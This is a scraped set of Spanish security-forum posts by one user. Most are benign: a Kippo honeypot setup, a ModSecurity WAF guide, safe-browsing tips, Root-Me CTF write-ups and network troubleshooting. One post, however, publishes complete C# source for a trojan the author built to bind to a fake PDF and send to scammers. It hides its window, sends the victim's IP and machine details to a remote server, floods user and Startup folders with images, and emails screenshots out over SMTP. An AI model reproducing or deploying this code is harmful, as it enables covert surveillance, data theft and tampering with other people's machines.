  • Creando un directorio en el sistema de ficheros:
    Este será nuestro árbol de directorios, el objetivo es modificar los directorios/ficheros de tal forma parezca un sistema real. Para ello podemos crear todos los ficheros y/o directorios que queramos.


  • data_path:  Directorio donde debe estar alojado el fichero "usersdb.txt" donde están definidos los usuario y sus credenciales de acceso. Como es lógico, si queremos que accedan, los usuarios deben ser comunes y sus credenciales sencillas.  Por defecto, está en el directorio data.


  • txtcmds_path: Directorio donde deben estar alojados los programas/scripts que podrá ejecutar el atacante desde la supuesta shell. El directorio por defecto es txtcmds.


  • ssh_version_string: Información que devolverá el honeypot cuando realicen peticiones sobre el puerto a la escucha (ejemplo, nmap).

Hay muchas opciones interesantes, como interact_enabled e interact_port  que permiten acceder a las sesiones del atacante en tiempo real. Por defecto está desactivado.


Además, podemos guardar todos los logs en nuestra base de datos, la configuración se encuentra en el mismo fichero:


Si ya tenemos configurado nuestro kippo, pasamos a editar el fichero No tienes permitido ver los links. Registrarse o Entrar a mi cuenta dejándolo de esta manera:


Código: bash
authbind --deep twistd -y kippo.tac -l log/kippo.log --pidfile kippo.pid


Puesto que queremos instalar la versión web de Kippo (Kippo Graph), tenemos que instalar las siguientes dependencias:


Código: bash
apt-get install libapache2-mod-php5 php5-mysql php5-gd php5-curl


Descargamos la última versión en su página oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Empezamos a configurar kippo graph, para ello, damos permisos a los gráficos y editamos su fichero de configuración.


Le introducimos los datos de la DB conforme lo hemos hecho anteriormente:


Obviamente, debemos guardar los ficheros de kippo-graph en /var/www o en el directorio de nuestro servidor web.

Nos logueamos con el usuario kippo e inciamos el servicio.


Ahora ya tenemos kippo a la escucha por el puerto 22 con los usuarios y contraseñas definidos anteriormente.

Para ello, nos conectamos y lo comprobamos:


Accedemos a kippo-graph para comprobar si recibimos los datos:

En este caso, uno de mis sensores ha recibido casi 80mil ataques vía SSH en 2 años.


Kippo Graph nos genera muchas estadísticas y gráficos que son muy útiles, como por ejemplo, el top 1o de comandos más utilizados:


Sin duda, unas de las opciones más interesantes (si tenemos el interact desactivado), es el kippo playlog donde podremos reproducir las sesiones de los atacantes:


También tendremos un registro de todos los atacantes y los usuarios:contraseñas utilizados por cada atacante, útil para generarse un diccionario propio.



Y muchas, muchas más cosas que dejo que descubráis vosotros mismos :D

Un saludo,

Blackdrake

#12
Python / OSINT: Web Scraping
Agosto 27, 2017, 12:22:23 PM
Hola a todos!

En esta entrada me gustaría continuar el tema de scraping web para orientarlo a OSINT, no empezaré por lo básico (qué es scraping etc...), pues hay varios post interesantes en el foro sobre eso:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bien! Si has llegado hasta aquí entiendo que ya sabes lo que significa la palabra scraping, si no es así, pulsa en el artículo de arriba
#13

Hola a todos! En esta entrada vamos a tratar de cero los WAF (Web Application Firewall). Por tanto, debemos empezar por el principio.

Como su propio nombre indica, es un firewall a nivel de aplicación web. Owasp lo define como:

Un waf es un firewall para aplicaciones HTTP. Aplica un conjunto de reglas que cubren ataques comunes como XSS, SQLi etc...

Tipos de WAF

Hay dos tipos de WAF, los que se residen en la red (es decir son un elemento más de la red) y los que se basan en el servidor de aplicaciones (residen en el servidor). Los WAF son elementos complementarios a las medidas de seguridad que soportan los Firewall clásicos.

Llegados a este punto, no nos debería resultar muy complejo entender el siguiente esquema:


Modelos de seguridad

Seguridad Positiva

Este tipo de modelo bloquea todas las peticiones. Sólo acepta las que son seguras, para distinguirlas tiene una serie de reglas.

A priori parece lo más idóneo ya que nos protegemos de nuevos ataques, pero resulta difícil de mantener si la página web tiene un desarrollo continuo pues nos veremos obligados a modificar las reglas constantemente.


Seguridad Negativa

Este modelo es todo lo contrario al anterior, ya que acepta todas las peticiones, bloqueando las que detecta como amenazas. Puesto a que depende de las reglas, suele ser menos fiable, pues el riesgo de bypass se incrementa.

¿Pero esto es seguro?

Hay que tener siempre claro que la seguridad al 100% no existe y esto es tan sólo, un nivel más de seguridad, que sin duda, es más que útil. Como se ha comentado anteriormente, un WAF funciona con reglas y por tanto, esas reglas pueden tener fallos y/o no contemplar nuevos ataques.

¿Cómo consigo un WAF?

En este punto debemos plantearnos si queremos un WAF comercial o uno OpenSource, obviamente las diferencias son notables. En este caso he escogido uno de los más populares, que es modsecurity (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Es un módulo para servidores HTTP (Apache, NGINX y Microsoft IIS)  cuyo propósito es reforzar la seguridad de las aplicaciones Web. Modsecurity es OpenSource, además, provee un lenguaje de reglas y una API para implementar protecciones avanzadas, permitiendo bloquear gran cantidad de ataques webs, convirtiéndose en un efectivo sistema de prevención y detección de intrusos para servidores Web.

¡Desplegando ModSecurity!

Para obtener modsecurity deberemos instalar lo siguiente:


Código: bash
apt-get install libapache2-modsecurity


Una vez instalado, accedemos al directorio (en mi caso) de los mods disponibles en Apache, para ello visualizamos (o creamos si no existe) el fichero mod-security.conf.


Código: bash

<IfModule security2_module>
# Default Debian dir for modsecurity's persistent data
SecDataDir /var/cache/modsecurity

# Include all the *.conf files in /etc/modsecurity.
# Keeping your local configuration in that directory
# will allow for an easy upgrade of THIS file and
# make your life easier
Include "/etc/modsecurity/*.conf"
</IfModule>


Como se puede observar, simplemente incluye todos los ficheros con la extensión ".conf" alojados en /etc/modsecurity. En dicho directorio, tenemos un fichero de configuración recomendado, para activarlo, simplemente debemos renombrarlo y dejarlo con la extensión .conf.



Modsecurity incluye por defecto reglas, éstas están situadas en /usr/share/modsecurity-crs y hace falta activarlas para que empiecen a funcionar, para ello creamos un enlace simbólico de las base_rules a las activated_rules.

Quedando de la siguiente manera:


Tan sólo nos queda activar modsecurity en nuestro sitio, para ello nos dirigimos a /etc/apache2/sites-avalaible y añadimos la información del módulo (dichas líneas incluyen "activan"  las reglas y las configuraciones de modsecurity)

Código: bash
<IfModule security2_module>
SecRuleEngine DetectionOnly
Include "/usr/share/modsecurity-crs/*.conf"
Include "/usr/share/modsecurity-crs/activated_rules-testing/*.conf"
</IfModule>



NOTA: DetectionOnly indica que logeé, pero que no bloqueé, de querer bloquear, también se debería editar en la configuración situada en /etc/modsecurity (séptima línea).

Por último reinciamos apache y ya tenemos modsecurity funcionando!

¡Probando ModSecurity!

Para probarlo de forma sencilla, inyectaremos un XSS vía GET en la página, monitorizando los logs para comprobar si la regla lo detecta y lo logea.

Para ello, monitorizamos los logs e inyectamos el XSS.

Código: bash
tail -f /var/log/apache2/modsec_audit.log



Como se puede comprobar a continuación la inyección es detectada y registrada.

En la primera parte del log podremos ver los detalles de la conexión:

A continuación, podremos comprobar la respuesta por parte del servidor entregada al cliente y las firmas que han detectado el ataque.

Por último, visualizaremos el tipo de ataque y el modo de actuar del WAF.

#14
Hola a todos!

Hoy les traigo el nuevo UNDERtip de la semana, tips para navegar de forma segura :)



       
  • Evitar los enlaces sospechosos
    • Uno de los métodos más utilizados para direccionar a las víctimas a sitios maliciosos son los enlaces.
   
  • No acceder a sitios web de dudosa reputación
    • A través de técnicas de Ingeniería Social, muchos sitios web suelen promocionarse con datos que pueden llamar la atneción del usuario (descuentos, regalos...), no te engañes, nadie da nada gratis, el negocio eres tú.
    [
   
  • Actualizar el sistema operativo y aplicaciones
    • El usuario debe mantener actualizado tanto el navegador como el sistema operativo.
   
  • Descargar aplicaciones desde sitios web oficiales
    • Muchos sitios ofrecen programas populares que han sido modificados, dichos programas contienen malware.
   
  • Utiliza una red WI-FI conocida
    • Nunca debemos conectarnos a redes de bares, centros comerciales o tiendas pues suelen ser poco seguras. Los paquetes pueden ser capturados facilmente.
   
  • Compra online con precauciones
    • Cuando realices alguna compra a través de Internet, asegúrate de que la url del sitio coincide con la web donde crees estar y que su dirección empieza por https.
   
  • Informa a los niños
    • Los niños también utilizan smartphones y tables, infórmales para que siempre sepan lo que deben hacer. Siendo importante que los mayores tengan un control sobre su actividad online.
       
  • Cuida el IOT (Internet de las cosas)
    • Muchos aparatos del hgoar están conectados a internet, mantén el firmware actualizado. Ya se comprobó el potencial de dichos dispostivos con la botnet MIRAI.


UNDERtip: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Grupo de Facebook: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Canal de Telegram: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/list][/list][/list][/list][/list][/list][/list]
#15
Underc0de / Wargames Zone
Febrero 27, 2017, 06:29:02 PM

Hola Underc0ders!

Hoy queremos anunciar el comienzo de una nueva iniciativa de Underc0de, la wargames zone!

En esta zona podréis comprobar vuestro nivel en ámbitos de la seguridad informática como seguridad web, criptografía, stego, reversing...

La plataforma está realizada de 0 por mi, si reportáis algún bug, seréis recompensados :P

Ni que decir tiene que se irán subiendo retos poco a poco, y que todos los que queráis enviar el vuestro os llevaréis unos puntitos extras en el ranking por colaborar :D

Podéis acceder desde esta URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por razones obvias, está prohibido publicar writeups con los retos aquí alojados :D

Personas que colaboran con el proyecto:

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos a todos y esperamos sus retos!

#16
Buenas, me gustaría analizar muestras de ransomware de Ultracrypter, antes llamado cryptxxx.

No he encontrado nada, así que cualquier cosa es bienvenida.

Gracias!
#17
Continuamos con el siguiente nivel del anterior post No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El reto en cuestión es: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Partiremos del mismo lugar que en el reto anterior:



Pero esta vez, lo que necesitamos está justo ahí, para ello, dumpearemos el fichero ntuser.dat del directorio de John.



Ahora sólo nos queda crackear la contraseña para obtener nuestra flag, para ello, podemos utilizaar cualquier aplicación web como por ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y listo!!

Código: text
Bien jugado, pero ya tienes las 25 Puntos


Un saludo,

Blackdrake.
#18
Empezamos con algo de forense, concretamente con el siguiente reto: (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Gracias a @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por enseñarme la herramienta volatility :P

El reto nos pide lo siguiente:

Código: text
Unfortunately you forget to write down the workstation hostname


Para ello, descargaremos el dumpeo de memoria y comenzaremos a analizarlo.





Comenzamos a buscar el nombre de la máquina, para ello, accedemos a la entrada de: "Machine\System", ya que, si buscamos algo del sistema (como el nombre), deberá estar ahí no? :D



Continuamos profundizando en las rutas hasta encontrar la entrada que queremos:





Encontramos ComputerName, por tanto, ya casi lo tenemos!



Y listo! Ahí está nuestra flag :D



Sin duda un buen reto que nos permite conocer esta gran herramienta.

Un saludo,

Blackdrake.
#19
Soluciones de Wargames / [Root-Me] File - Insecure storage 1
Septiembre 03, 2016, 02:12:28 PM
Continuamos con el reto (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Comenzamos con un fichero comprimido:



Vamos a descomprimirlo y a ver que nos encontramos!



Nos encontramos con un profile de Firefox, doy por hecho de que nuestra flag es una contraseña, así que, tendremos que atacar a las bases de datos. Para ello, lanzaremos un pequeño script en python que se encargará de esto:




Y listo! Ya tenemos nuestra flag y 20 puntos más ^^

Un saludo,

Blackdrake.
#20
Soluciones de Wargames / [Root-Me] Hash - Message Digest 5
Septiembre 03, 2016, 01:47:48 PM
Continuamos con el reto (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Comenzamos con lo siguiente:

Código: text
Crack the following hash :
7ecc19e1a0be36ba2c6f05d06b5d3058


Puesto a que sabemos que es MD5 (De no saberlo, podéis entrar al Identificator Hash de la comunidad: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), una vez identificado, vamos a conocer su valor:





Y listo! Ya tenemos nuestra flag :D

Un saludo,

Blackdrake.
#21
Soluciones de Wargames / [Root-Me] Encoding - UU
Septiembre 03, 2016, 01:42:14 PM
Continuamos con el reto (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Comenzamos con el siguiente fichero:



Procedemos a decodearlo para capturar la flag:




Un saludo,

Blackdrake.

#22
Soluciones de Wargames / [Root-Me] Encoding - ASCII
Septiembre 03, 2016, 01:34:12 PM
En este caso, nos enfrentamos al primer reto de CRIPTOANÁLISIS llamado Encoding - ASCII. (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)


Puesto a que estos retos son los primeros y son fáciles no voy a explicar gran cosa, el reto comienza con el siguiente string, vamos a por la flag!



Para ello, entraremos a la web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y dejaremos que hagan el trabajo por nosotros  ;D



Y listo! Ya tenemos nuestra flag y 5 puntos más :D

Un saludo,

Blackdrake.
#23
Soluciones de Wargames / [Root-Me] ELF32 - System 1
Septiembre 03, 2016, 01:27:13 PM
Buenas! Debido a que hemos inaugurado hace poco esta sección, he decidido comenzar a postear todas las soluciones de los retos que vaya haciendo de la web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el objetivo es que os enfrentéis a los retos con vuestros propios conocimientos (además, os suelen orientar con un par de pistas al inicio de cada reto), no obstante, considero que este tipo de post servirá bastante a los nuevos o a la gente que sepa continuar con el wargame.

En este caso, nos enfrentamos al primer reto de App - Script llamado ELF32 - System 1. (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Código: c
#include <stdlib.h>
#include <stdio.h>

/* gcc -m32 -o ch11 ch11.c */

int main(void)
{
system("ls /challenge/app-script/ch11/.passwd");
return 0;
}



Y este es el código que nos permiten ver, bien, comencemos.

Primero nos conectaremos vía ssh a la máquina:



Probaremos a ejecutar el fichero ch11 para comprobar si de verdad es el código que nos han ofrecido:



Si nos fijamos nos ofrece el directorio de nuestra flag "/challenge/app-script/ch11/.passwd" y hace un ls de ella. Obviamente, el comando ls no nos sirve de nada, en este caso necesitaríamos el comando CAT.

Para ello, vamos a crear un alias, una vez creado, exportaremos nuestro PATH para que no encuentre el comando ls y tenga que usar nuestro "ls" :P



Y listo! Tenemos nuestra flag y nuestros primeros 5 puntos!!

Espero que hayáis aprendido :D

Un saludo,

Blackdrake

#24
Bueno, debido a que he recibido muchos correos y mps pidiendo el script que utilicé, he decidido publicarlo:

El post al que hago referencia es: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Unas imágenes para mostrar su funcionamiento:




Creación de las imágenes en Startup para que se inicien con windows:


Recibiendo datos de los estafadores:



Captura de pantalla de su bonito escritorio:

Sin más, el código (lo que vais a ver ahora no es un ejemplo bueno de programación, el código está bastante "hardcodeado", ya que lo hice deprisa y corriendo pero es funcional).

Código: csharp

public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
       
       [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni);

       string backgroundImageUrl = "https://cdn.meme.am/instances/500x/64226723.jpg"; //URL del fondo de pantalla
       
        //Cambiamos el fondo de pantalla
        public void SetWallpaper(String path)
        {
            SystemParametersInfo(0x14, 0, path, 0x01 | 0x02);
        }

        //Descargamos la imagen de la pagina web.
        private void SetWallpaperFromWeb(string url, string path)
        {
            WebClient webClient = new WebClient();
            webClient.DownloadFile(new Uri(url), path);
            SetWallpaper(path);
        }

        private void Form1_Load(object sender, EventArgs e)
        {
           //Sacamos datos como IP, ruta de ejecución, nombre de la máquina etc.. y lo enviamos a un servidor propio:

            string ip = new System.Net.WebClient().DownloadString("https://ipinfo.io/ip").Replace("\n", "");

            string ruta = Directory.GetCurrentDirectory();

            string maquina = Environment.MachineName + " ----- " + Environment.UserName + " ----- " + Environment.OSVersion

            string sURL;
            //Recibe php debe recoger los siguientes parametros y almacenarlos ya sea un txt o en una BD

            sURL = "http://www.url.com/recibe.php?ip=" + ip + "&ruta=" + ruta + "&maquina=" + maquina;

            WebRequest wrGETURL;
            wrGETURL = WebRequest.Create(sURL);
            wrGETURL.GetResponse();

            //Definimos los directorios donde queremos guardar un bonito recuerdo (100 imagenes)

            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            string documentos = Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments);
            string musica = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            string imagenes = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
            string personal = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
            string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup);


              //100 imagenes o las que queramos :D
              //Se podria guardar una vez y copiarla, pero de esta manera, se puede generar "DDoS" si queremos.
              int i = 0;
              while (i<100)
              {
                  using (WebClient Client = new WebClient())
                  {
                      //Descargamos la imagen y la guardamos.
                      Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", desktop + "/troll" + i + ".jpg");
                      Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", documentos + "/troll" + i + ".jpg");
                      Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", musica + "/troll" + i + ".jpg");
                      Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", imagenes + "/troll" + i + ".jpg");
                      Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", personal + "/troll" + i + ".jpg");
                      Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", startup + "/troll" + i + ".jpg");
                      i++;
                  }
              }

           //Cambiamos nuestro fondo de pantalla y
           //finalizada la descarga de todas las imagenes, hacemos una captura de pantalla(la enviamos por mail), seguro que ha quedado precioso ^^

            Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);

            Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);

            gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

            bmpScreenshot.Save("prueba.png", ImageFormat.Png);


            string rutaca = ruta + @"\prueba.png";
           

            string backgroundImageName = rutaca;
            SetWallpaperFromWeb(backgroundImageUrl, backgroundImageName);

           

            bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);

            gfxScreenshot = Graphics.FromImage(bmpScreenshot);

            gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

            bmpScreenshot.Save("prueba1.png", ImageFormat.Png);
            string rutacah = ruta + @"\prueba1.png";

            //Enviamos por mail la captura de pantalla.
            SendMail(ip,ruta,maquina,rutacah);

           
            Close();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            //Ocultamos el Form1
            Visible = false;
            Opacity = 10000000000;
        }
       
        //Funcion para guardar la captura en el correo.
        public static void SendMail(string ip, string ruta, string maquina, string rutacah)
        {
            try
            {
                var mailaddress = "[email protected]";
                var smtpHost = "smtp.live.com";
                var smtpPort = Convert.ToInt32("587");
                var mailpassword = "password";
                string body = "Los estafadores han picado!!" + ip + "<br/>" + ruta + "<br/>" + maquina;
               
                 
                var fromAddress = new MailAddress(mailaddress, "Pwned Estafadores");
                var toAddress = new MailAddress(mailaddress, "Pwned Estafadores");
                const string subject = "Datos del pwned v3";
               
                   
                var smtp = new SmtpClient
                {
                    Host = smtpHost,
                    Port = smtpPort,
                    EnableSsl = true,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials = new NetworkCredential(fromAddress.Address, mailpassword)
                };
                using (var message = new MailMessage(fromAddress, toAddress)
                {
                    Subject = subject,
                    Body = body,
                })
                {
                    message.Attachments.Add(new System.Net.Mail.Attachment(rutacah));
                    smtp.Send(message);
                   
                }
            }
            catch (Exception ex)
            {
               // MessageBox.Show(string.Format("Error al enviar el correo! \n {0}", ex.Message), "Error!");
                return;
            }
        }
           


    } 



Espero que les sea de utilidad y no sean malos ^^

Un saludo.
#25

Muchas veces nos desesperamos cuando nos ha dejado de funcionar Internet, lo mejor que se puede hacer es: mantener la calma y seguir estos pasos!

Lo primero que debemos de averiguar es si solo nos ocurre a nosotros o a todos, caso importante para tener en cuenta el hardware de nuestro equipo (una vez revisado nuestro software o no).

1. A veces el navegador con el que accedes Internet falla. Abre otro explorador para asegurarte de que esta no es la causa.

2. Asegúrate de que todos los cables están conectados. Luego, apaga el router y vuélvelo a encender (Antes de reiniciar el router, comprueba que las luces correspondientes están encendidas).

¿Sigue sin funcionar? Entonces comencemos a descartar cosas:

3. Para empezar, identificaremos si el problema se limita al navegador o recae en toda la conexión, para ello, comprobaremos si recibimos correos en Outlook u otro tipo de aplicaciones que tengamos, además, podemos utilizar el comando ping.


Si no hay conexión, se nos indicará que el host de destino no es accesible, mientras que en caso contrario nos informará de los milisegundos que tardan nuestros paquetes en llegar al servidor de  Google (en este caso).

En caso de que nos aparezca el error mencionado anteriormente (host de destino no es accesible o host is unreachable {en inglés}) , lo más probable es que tengamos un conflicto con la línea ADSL o el router.

A la hora de comprobar el porqué de los fallos de nuestra conexión, comenzaremos por verificar que tenemos correctamente asignada una IP, para ello utilizaremos el siguiente comando: ipconfig /all y fijarse en Red de Área local (pueden salir bastantes más si tenemos Vmware, virtualbox o alguna vpn instalada.) En linux, utilizariamos ifconfig /all




Hay que comprobar vuestra IP local y que vuestra puerta de enlace esté correcta (IP del Router), lo mismo con el servidor DHCP si no es el router el que nos dá la IP.

Si no tienes IP utiliza los siguientes comandos:

Código: dos
ipconfig /release
ipconfig /flushdns
ipconfig /renew


En linux utilizaremos los siguientes:

Código: bash
sudo dhclient -r Equivale al ipconfig /release (Libera la IP Asignada)
y
sudo dhclient Equivale al ipconfig /renew que solicita una nueva IP al DHCP
(sudo dhclient eth0 o la interfaz que queramos)

Además, podemos utilizar lo siguientes comandos para parar y levantar nuestro adaptador de red: (Cambiar eth0 por nuestra interfaz)

Código: bash
sudo ifdown eth0
sudo ifup eth0


Vuelve a utilizar ipconfig /all o ifconfig /all y fijate si ha cambiado la IP e intenta acceder a internet.


Si sigue sin funcionar internet, accederemos a: Panel de control\Redes e Internet\Centro de redes y recursos compartidos y pulsaremos en Diagnosticar Problemas y dejaremos que Windows simule que hace algo para ayudarnos (aunque hay veces que realmente nos dice donde puede estar el problema).


Si Windows no ha detectado el problema y no ha podido solucionarlo, el siguiente paso será acceder a nuestro adaptador de red, situado en el msimo lugar: Panel de control\Redes e Internet\Centro de redes y recursos compartidos




Click derecho en nuestro adaptador (el de red de área local) y pulsamos en Diagnosticar, con lo que Windows reinciará el adaptador, limpiará la caché de conexiones y refrescará la IP del router, si el paso anterior no ha hecho nada, es difícil que en este lo haga, pero windows nunca deja de sorprendernos.


Si todos los pasos anteriores no han funcionado, puede que el problema se encuentre en el router o en la conexión con él.

Volvemos al router y verificamos que todas las luces estén encendidas correctamente, sobre todo, la de ADSL.

Los ISP (Internet Service Provider) cuentan con sus servidores DNS que, en muchos casos, pueden estar sobrecargados o caídos, lo que provoca los problemas, se recomienda cambiar por los de google para comprobar de manera eficaz si el error era debido a esto, para ello volveremos a nuestro adaptador de red, le daremos doble click -- propiedades -- buscaremos "Procolo de Internet versión 4 (TCP/IPV4)" -- Doble Click y cambiaremos los DNS por los de google


En linux los pasos a seguir serían los siguientes:

Abriremos un terminal de Linux con las teclas Ctrl + Alt + T o haciendo clic en Aplicaciones -> Accesorios -> Terminal
Editamos el archivo de configuración de los servidores DNS con el siguiente comando:
Código: bash
sudo nano /etc/resolv.conf

Pondremos en el fichero los DNS de google:
Código: bash
# Configuración de servidores DNS
nameserver 8.8.8.8

Y finalmente reiniciamos la red:
Código: bash
$ sudo /etc/init.d/networking restart

Si hay algún error con el comando anterior, podemos utilizar los siguientes (cambiando eth0 por nuestra interfaz)
Código: bash
$ sudo ifconfig eth0 down
$ sudo ifconfig eth0 up


Para verificar el estado de nuestra tarjeta de red en linux, usaremos el siguiente comando:
Código: bash
sudo ethtool eth0


El parámetro Link detected nos dice el estado:

Link detected: yes

Para saber a que velocidad y que duplex ha negociado observamos:

Speed: 100Mb/s
Duplex: Full


Si seguimos sin encontrar una solución, accederemos a nuestro router en la siguiente dirección 192.168.1.1 (por defecto), (ver la IP que muestra ipconfig /all como puerta de enlace), una vez en el router, lo reiniciaremos de fábrica y volveremos a configurar todo de nuevo, si esto no arregla el problema, llamar a vuestro ISP, pues seguramente, haya alguna incidencia en la red (aplicable solo si nadie tiene acceso a internet en esa red).

Si el resto tiene acceso y nosotros seguimos sin conseguir conectarnos a internet, comienza a verificar si tarjeta de red está dañada.

Para ver los UNDERTIPS visita:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Fuente:
Propia
Pcactual
Keopx
#26
Para un mayor orden en este subforo, se ha decidido abrir este post, facilitando a los usuarios que lo desconocen, la información necesaria para subir imágenes y poder postearlas.

En este caso, se usará No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (aunque prácticamente todos los hosting de imágenes sirven):

Pasos


1. Ve a: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


2. Pulsa en el botón "New post" y a continuación, el botón "Browse". Se  abre (o buscas) el lugar donde está guardada la imagen, clic sobre ella o arrastra las imágenes que quieras subir. Otra opción es que también puedes poner  la url que desees subir.


3. Subimos las imágenes, y una vez realizado esto, pone el ratón sobre la pestañita que está indicada con la flecha roja en la siguiente imagen y da clic en ella:


4. Se te despliega un menú, clickea sobre donde dice "Get share links" y te aparecerá algo así:



5. Copia el enlace que aparece en la etiqueta: BBCode (Forums).

6. Será ese enlace el que se tiene que pegar en el post del foro.

Se agradece a todos los usuarios que cumplen la normativa general del foro y la de este subforo en cuestión. Gracias a ustedes existe una mayor organización en cuanto a todos los temas, así generando poco ruido visual y creando una sensación agradable para la vista del espectador. Nuevamente, ¡gracias!


Editado (Gabriela): conforme a los nuevos cambios de imgur.
#27

Hola a todos, esta vez les traigo una aplicación codeada por mi, el uso es muy sencillo, ejecutas la aplicación, esperas a que cargue y a partir de ese momento, monitorizará todos los nuevos procesos que se creen en el sistema.

Hay veces que inicia con muchos procesos en la lista, simplemente podéis hacer click derecho y limpiarla, otras, inicia correctamente a la espera de nuevos procesos.

Básicamente os será bastante útil en caso de análisis dinámico de malware.

Os dejo unas imágenes:



Cualquier fallo, por favor reportarlo.


Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para los desconfiados, detecciones: 1 / 56: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta cada uno decide si la ejecuta o no.

Un saludo.
#28
Hacking / Estafando a los estafadores
Abril 21, 2016, 07:33:35 AM
Realizo este post para que la gente aprenda sobre el modus operandi utilizado por esta clase de estafadores y en ningún momento pretendo que se aprendan estas técnicas (si se puede llamar así), para que se realicen delitos.


Recordar también que haciendo click sobre las imágenes se amplian, pues el foro las redimensiona automáticamente, disfrutad del post!



A menudo nos alertan sobre nuevos métodos de estafa que utilizan los ciberdelincuentes para ganar dinero, ¿pero cuál es su forma de actuar?

Normalmente intentan llamar la atención de la víctima con algo que cuesta rechazar (precios bajos, regalos etc...).

- Mensaje recibido en un Smartphone -

Una vez nos ponemos en contacto con ellos, se muestran muy cordiales y en ningún momento nos solicitan nada de dinero:


A continuación, recibimos este mensaje:


¿Ganador de la lotería de Reino Unido? ¿No resulta extraño? Pues nunca participé en dicha lotería.

Si nos fijamos en el primer correo que nos mandan, está repleto de faltas ortográficas, aunque para "despistarnos" nos dicen lo siguiente: "Al ver que usted es de España y no puede entender el idioma Inglés, así que estoy traduciendo del Inglés al español para que usted comprenderá todos los procedimientos. Pero si usted entiende muy bien el Inglés, a continuación, no dude en comunicarse en Inglés en el fin de hacer que mi comunicación con usted más fácil para mí."

¿Suena muy convincente verdad? ¿Qué pasará si le enviamos "nuestros" datos? Llegados a este punto, es recomendable no continuar, pues enviándoles datos como la dirección, podrían chantajearnos posteriormente.


No obstante, envié "mis datos" (obviamente inventados), para poder proseguir con la estafa.


En el siguiente correo, nos explican que para que nos llegue nuestro paquete, debemos de ponernos en contacto con la empresa de mensajería, para concertar una fecha de entrega.

Además, nos adjuntan un certificado y la identificación de la persona con la que supuestamente estamos hablando...




Para estas alturas, y estando la supuesta estafa llegando a su fin, el timo debe estar cerca, para descubrirlo, nos pondremos en contacto con la empresa de mensajería.


De nuevo recibimos un pdf adjunto, pero esta vez mucho más interesante (para mi :D):


De nuevo nos solicitan nuestros datos personales para realizar la entrega, y además, debemos seleccionar una opción de entrega, donde podemos empezar a intuir el timo.


Por último, nos envían 2 identificaciones parecidas a la anterior y dos formas de pago, para que le hagamos en este caso, el ingreso de 655€.


Si has llegado hasta este punto, obviamente NUNCA DEBES PAGAR, pero yo intenté continuar con poco más con la ingeniería social intentando rastrear a los estafadores, para ello programé un pequeño script en C# (bastante gracioso), con la intención de bindearlo con un pdf fake de mi ingreso bancario.

El funcionamiento del script era sencillo, sacaba la IP y le dejaba un regalito en el autorun de windows, además le cambiaba el fondo de pantalla. Con regalito en el autorun, me refiero a que al iniciar windows se abría 500 veces una imagen  ;D

Además, después de realizar todo esto, hacía una captura de pantalla y me la enviaba vía smtp.

- Captura de pantalla tomada desde una prueba en mi VM del script -

- Email recibido (con la captura de pantalla) y los datos (mios pues era una prueba) -

